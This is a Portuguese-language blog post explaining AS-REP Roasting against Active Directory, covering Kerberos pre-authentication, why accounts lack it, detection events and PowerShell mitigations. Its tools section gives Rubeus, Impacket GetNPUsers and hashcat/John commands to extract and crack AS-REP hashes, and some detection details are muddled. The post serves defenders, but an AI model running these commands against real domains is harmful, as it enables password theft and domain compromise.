AS-REP Roasting: Deep dive

Olá novamente! Hoje venho trazer até você conteúdo de alta qualidade e que devem ser bem visto pelo time de segurança de sua empresa. Hoje o tema será sobre um outro tipo de ataque: O AS-REP Roasting.

1. MITRE ATT&CK – T1558 – Steal or Forge Kerberos Tickets

Como falei em outros posts de segurança no meu blog, Existe um framework chamado MITRE ATT&CK e nele, por sua vez, existem diversas técnicas e subtécnicas. Esta em questão a subtécnica chamada AS-REP Roasting o qual permite roubar ou forjar tickets Kerberos.

Para maior entendimento sobre o protocolo Kerberos, recomendo fortemente a leitura da RFC 4120 The Kerberos Network Authentication Service (V5).

2. O que é AS-REP Roasting?

Em resumo, o AS-REP Roasting é um ataque contra o Active Directory (AD) que permite que, através de um ataque off-line, um invasor extraia hashes Kerberos de usuários sem exigir privilégios elevados ou autenticação prévia.

3. Onde o ataque AS-REP Roasting entra?

Para entendermos como isso ocorre temos que ter o conhecimento de alguns itens, dentre eles, a RFC4120. Abaixo vou falar sobre a RFC focado no AS-REP roasting.

No protocolo Kerberos, quando um usuário deseja autenticar-se no domínio, ele primeiro solicita um Ticket Granting Ticket (TGT) ao Key Distribution Center (KDC), que é o Controlador de Domínio (DC) no Active Directory.

O domínio tem contas de usuário (lógico! rs). Cada conta tem propriedades e, uma destas, é a Kerberos Pre-Authentication. Por padrão, a Kerberos Pre-Authentication é habilitada para cada conta criada no Active Directory, contudo, pessoas com privilégios administrativos, podem modificar isso, isto é, desabilitando a Kerberos Pre-Authentication para uma conta específica. Abaixo vemos como o Kerberos Pre-Authentication protege contra ataques do tipo AS-REP Roasting.

🔹 Se a pré-autenticação (Kerberos Pre-Authentication) estiver habilitada para esta conta, o usuário inicia o procedimento de autenticação Kerberos despachando uma mensagem AS-REQ para o DC. Essa mensagem é criptografada com um timestamp, que é posteriormente criptografado com o hash da senha do usuário. Se o DC descriptografar com sucesso o timestamp usando seu registro armazenado do hash da senha do usuário, ele responderá com uma mensagem AS-REP que compreende um Ticket Granting Ticket (TGT), emitido pelo Key Distribution Center (KDC). O usuário então emprega esse TGT para futuras solicitações de acesso.

🔹 Se a pré-autenticação estiver desativada (DONT_REQ_PREAUTH), o DC retorna um AS-REP (Authentication Service Response) diretamente para qualquer solicitante, sem verificar as credenciais do usuário.

Importante ressaltar que A pré-autenticação Kerberos (Kerberos Pre-Authentication) foi introduzida nativamente no Windows 2000, quando a Microsoft implementou o Active Directory (AD) e adotou o Kerberos v5 como o principal protocolo de autenticação.

4. Por que o AS-REP Roasting é perigoso?

Antes do Windows 2000, o NTLM era o principal protocolo de autenticação no Windows, mas ele não fornecia autenticação mútua, tornando-se vulnerável a ataques pass-the-hash e relay attacks.

Quando a Microsoft adotou o Kerberos v5 no Windows 2000, ela introduziu a pré-autenticação como uma defesa contra ataques de replay. Com a pré-autenticação:

1. O usuário precisa enviar um timestamp criptografado com sua senha antes de receber um Ticket Granting Ticket (TGT).
2. Isso evita que atacantes solicitem um AS-REP sem conhecer a senha (o que permite ataques como AS-REP Roasting).

🚨 Se a pré-autenticação for desativada (DONT_REQ_PREAUTH), o perigo se torna real pois:

• Nenhuma autenticação é necessária – Qualquer usuário (até anônimo, se o AD permitir) pode solicitar AS-REPs;
• Ataque Offline – Depois que o invasor obtém o hash, ele pode quebrá-lo offline sem alertar o AD;
• Fácil de Explorar – Basta um script como Impacket (GetNPUsers.py) ou Rubeus para explorar;
• Impacto Alto – Se a conta comprometida for administrativa ou de serviço, o atacante pode escalar privilégios;

5. Por qual motivo uma conta poderia estar desprotegida?

A pré-autenticação Kerberos (Kerberos Pre-Authentication) é habilitada por padrão no Active Directory (AD). No entanto, em alguns casos, ela pode ser desativada manualmente ou por configurações herdadas. Isso pode ocorrer por vários motivos, incluindo requisitos operacionais, compatibilidade com sistemas legados ou erros administrativos.

Aqui estão os principais motivos pelos quais a pré-autenticação pode estar desabilitada (DoesNotRequirePreAuth = True) em uma conta.

5.1 Contas de serviço

Algumas contas de serviço podem ter a pré-autenticação desativada para permitir que aplicações legadas autentiquem-se sem precisar enviar timestamps criptografados.

🔹 Exemplos:

• Serviços que não suportam Kerberos Pre-Authentication (Sistemas antigos).
• Servidores UNIX/Linux legados configurados para autenticar no AD via Kerberos.
• Aplicações SAP que requerem acesso sem pré-autenticação.
• Aplicações herdadas que não foram projetadas para trabalhar com pré-autenticação.

5.2 Contas de usuários criadas em sistemas antigos

Se um usuário foi criado em um domínio muito antigo ou importado de um ambiente legado, pode ser que essa conta tenha herdado a flag DoesNotRequirePreAuth = True.

🔹 Exemplo:

• Contas criadas antes da era Windows Server 2003 podem não ter a pré-autenticação ativada por padrão.
• Ambientes que passaram por várias migrações podem ter contas herdadas sem pré-autenticação.

5.3 Erro administrativo ou configuração indevida

Administradores podem, acidentalmente, desativar a pré-autenticação ao modificar propriedades de contas no Active Directory.

🔹 Como Isso Pode Acontecer?

• Ao usar scripts de automação mal configurados.
• Durante migrações de AD (de um ambiente legado para um novo).
• Modificações indevidas na GUI do Active Directory Users and Computers (ADUC).

5.4 Políticas de domínio ou configurações Herdadas

Em alguns ambientes antigos, a configuração de desativar a pré-autenticação Kerberos pode ter sido aplicada em massa por uma GPO ou configuração herdada.

🔹 Exemplos:

• Algumas migrações de domínios Windows NT ou Windows 2000 para o AD podem ter mantido essa configuração.
• Ambientes mistos com servidores antigos que não suportam Kerberos Pre-Authentication.

5.5 Configuração específica para Debugging ou Pentest

Alguns administradores de segurança podem desativar a pré-autenticação temporariamente para Pentest ou debugging de Kerberos.

🔹 Exemplos:

• Testes de auditoria de Kerberos em um ambiente de desenvolvimento.
• Simulação de ataques AS-REP Roasting em pentests internos.
• Depuração de falhas de autenticação Kerberos para integração com sistemas legados.

6. Ferramentas e técnicas para execução do AS-REP Roasting

6.1 Rubeus + Hashcat

Para encontrar todas as contas que não exigem pré-autenticação e extrair seus hashes AS-REP para cracking offline, um adversário executa o seguinte comando:

Rubeus.exe asreproast

Para fazer o ataque avançar alguns passos, o invasor pode aproveitar alguns parâmetros para extrair os dados em um formato que pode ser quebrado offline, por exemplo, pelo Hashcat

Rubeus.exe asreproast /format:hashcat /outfile:C:\Temp\hashes.txt

Em seguida, o adversário utiliza o Hashcat, especificando o código do modo hash para hashes AS-REP (18200), um arquivo hash e um dicionário a serem usados ​​para realizar quebra de senha por força bruta.

hashcat64.exe -m 18200 c:\Temp\hashes.txt dictionary.dict

O resultado será a senha da conta em texto claro

6.2 PowerShell + Impacket + Hashcat (ou John the Ripper)

Para encontrar todas as contas que não exigem pré-autenticação e extrair seus hashes AS-REP para cracking offline, um adversário executa o seguinte comando no Poweshell

Get-ADUser -Filter * -Properties DoesNotRequirePreAuth | Where-Object {$_.DoesNotRequirePreAuth -eq $True -and $_.Enabled -eq $True} | Select-Object 'SamAccountName','DoesNotRequirePreAuth' | Sort-Object 'SamAccountName'

Saída de exemplo:

SamAccountName   DoesNotRequirePreAuth
--------------   ---------------------
sqlsvc           True

O cmdlet acima realiza a seguinte busca:

• Todas as contas ativas cujo o flag DoesNotRequirePreAuth está como True, ou seja não se faz necessário uso de AS-REP;
• As contas devem estar ativas, haja vista que não existe possibilidade de se efetuar este ataque com contas inativas;
• Exibe, para estas contas encontradas, apenas os campos SamAccountName e o campo DoesNotRequirePreAuth (Com o valor True);
• Classifica o resultado com base no campo SamAccountName

Agora que o invasor sabe quais contas não exigem pré-autenticação, ele pode solicitar um AS-REP Ticket diretamente ao KDC sem fornecer credenciais válidas.

Veja o comando abaixo no Impacket

GetNPUsers.py company.corp/ -usersfile as-rep-hashes.txt -dc-ip 192.168.0.100

Saída de exemplo:

$krb5asrep$23$sqlsvc@COMPANY.CORP:77efb10e7c4a…

Agora, o atacante pode usar Hashcat ou John the Ripper para quebrar a senha do usuário.

# Windows
hashcat64.exe -m 18200 c:Hashes.txt rockyou.txt

# Linux
john --wordlist rockyou.txt Hashes.txt
hashcat -m 18200 -a 3 Hashes.txt rockyou.txt

Saída de exemplo:

$krb5asrep$23$sqlsvc@COMPANY.CORP:77efb10e7c4a...: Password123

Agora o invasor tem a senha da conta! Se for uma conta privilegiada, ele pode comprometer o domínio.

7. Métodos de detecção para um AS-REP Roasting

A detecção de ataques de AS-REP Roasting é crucial para mitigar o risco de roubo de senha. Uma maneira de detectar tais ataques é monitorar as alterações na configuração que controla se a pré-autenticação Kerberos está habilitada.

Event ID 4738 – A user account was changed.
Campos chave: Security ID, Account Name, Account Domain, Logon ID, Security ID, Account Name

Por exemplo, no curso de tal ataque, o ID do Evento 4738 é gerado. Este evento significa uma solicitação de tíquete de serviço de autenticação Kerberos e abrange parâmetros como Tipo de Criptografia de Tíquete (0x17), Opções de Tíquete (0x40800010) e Nome do Serviço (krbtgt).
A presença desses parâmetros nos logs de eventos pode indicar um ataque AS-REP Roasting em andamento, pois este evento é produzido quando o invasor manipula objetos de domínio.

Event ID 5136 – A directory service object was modified.
Campos chave: Security ID, Account Name, Account Domain, Logon ID, DN, GUID, Class, LDAP Display Name

Outra opção é monitorar o Event ID 5136, que fornece informações sobre alterações feitas em contas de usuário em um ambiente Windows. Ao analisar os logs desse evento, é possível identificar quaisquer contas de usuário que tiveram a configuração para pré-autenticação Kerberos alterada.

8. Técnicas de mitigação para o AS-REP Roasting

8.1 Localizar contas vulneráveis

A maneira mais eficaz de evitar ataques AS-REP Roasting é localizar todas as contas de usuário que estão configuradas sem exigir pré-autenticação Kerberos e habilitar essa configuração. Isso pode ser feito usando o seguinte script:

Get-ADUser -Filter * -Properties DoesNotRequirePreAuth | Where-Object {$_.DoesNotRequirePreAuth -eq $True -and $_.Enabled -eq $True} | Select-Object 'SamAccountName','DoesNotRequirePreAuth' | Sort-Object 'SamAccountName'

Ao habilitar a pré-autenticação Kerberos para essas contas de usuário, ele garante que o controlador de domínio possa descriptografar o timestamp criptografado com o hash da senha do usuário. Isso torna muito mais difícil para um invasor obter acesso ao hash da senha do usuário e realizar um ataque de cracking offline.

Para realizar o ajuste em uma conta apenas, use o comando abaixo:

Set-ADUser -Identity sqlsvc -Replace @{DoesNotRequirePreAuth=$false}

Se desejarmudar isso em todas as contas do domínio de uma só vez, execute o comando abaixo:

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | Set-ADUser -Replace @{DoesNotRequirePreAuth=$false}

8.2 Utilizar política de senha forte e/ou gMSA

Para se proteger contra ataques AS-REP Roasting, é aconselhável implementar políticas de senha fortes, especialmente para contas privilegiadas, que exigem o uso de senhas longas e complicadas. Isso torna desafiador para um invasor quebrar as senhas, mesmo que elas sejam roubadas com sucesso. Implementar políticas de senha refinadas é um primeiro passo eficaz para garantir a segurança das senhas.

Usar o gMSA com senhas largas ajuda muito em relação ataques offline (tanto para AS-REP quanto Kerberoasting). Além do fato do gMSA poder usar senhas com muitos caracteres ele faz nativamente a rotação da senha, ou seja, mesmo que o hash seja roubado, a senha pode ser trocada em pouco tempo.

8.3 Encontrar contas provilegiadas

É importante identificar quem tem autoridade para alterar a configuração de pré-autenticação, pois eles podem desabilitá-la temporariamente para roubar o hash AS-REP e então reabilitá-la. A consulta a seguir mostrará todos os indivíduos com direitos de acesso a contas sem pré-autenticação [40]:

(Get-ACL "AD:\$((Get-ADUser -Filter 'useraccountcontrol -band 4194304').distinguishedname)").access

O código recupera a lista de controle de acesso (ACL) do descritor de segurança associado a um objeto de usuário específico no Active Directory (AD).

Primeiro, ele filtra todas as contas de usuário no AD onde o valor “useraccountcontrol” tem o bit decimal 4194304 definido (que corresponde ao sinalizador UF_DONT_REQUIRE_PREAUTH no atributo userAccountControl) e recupera seu nome distinto.

Em seguida, ele recupera a ACL do descritor de segurança da primeira conta de usuário no conjunto de resultados usando o nome distinto e o armazena em uma variável. Depois ele recupera a propriedade de acesso da ACL e a exibe, o que representa os direitos de acesso que são concedidos ou negados às entidades de segurança especificadas na ACL para o objeto de usuário de destino.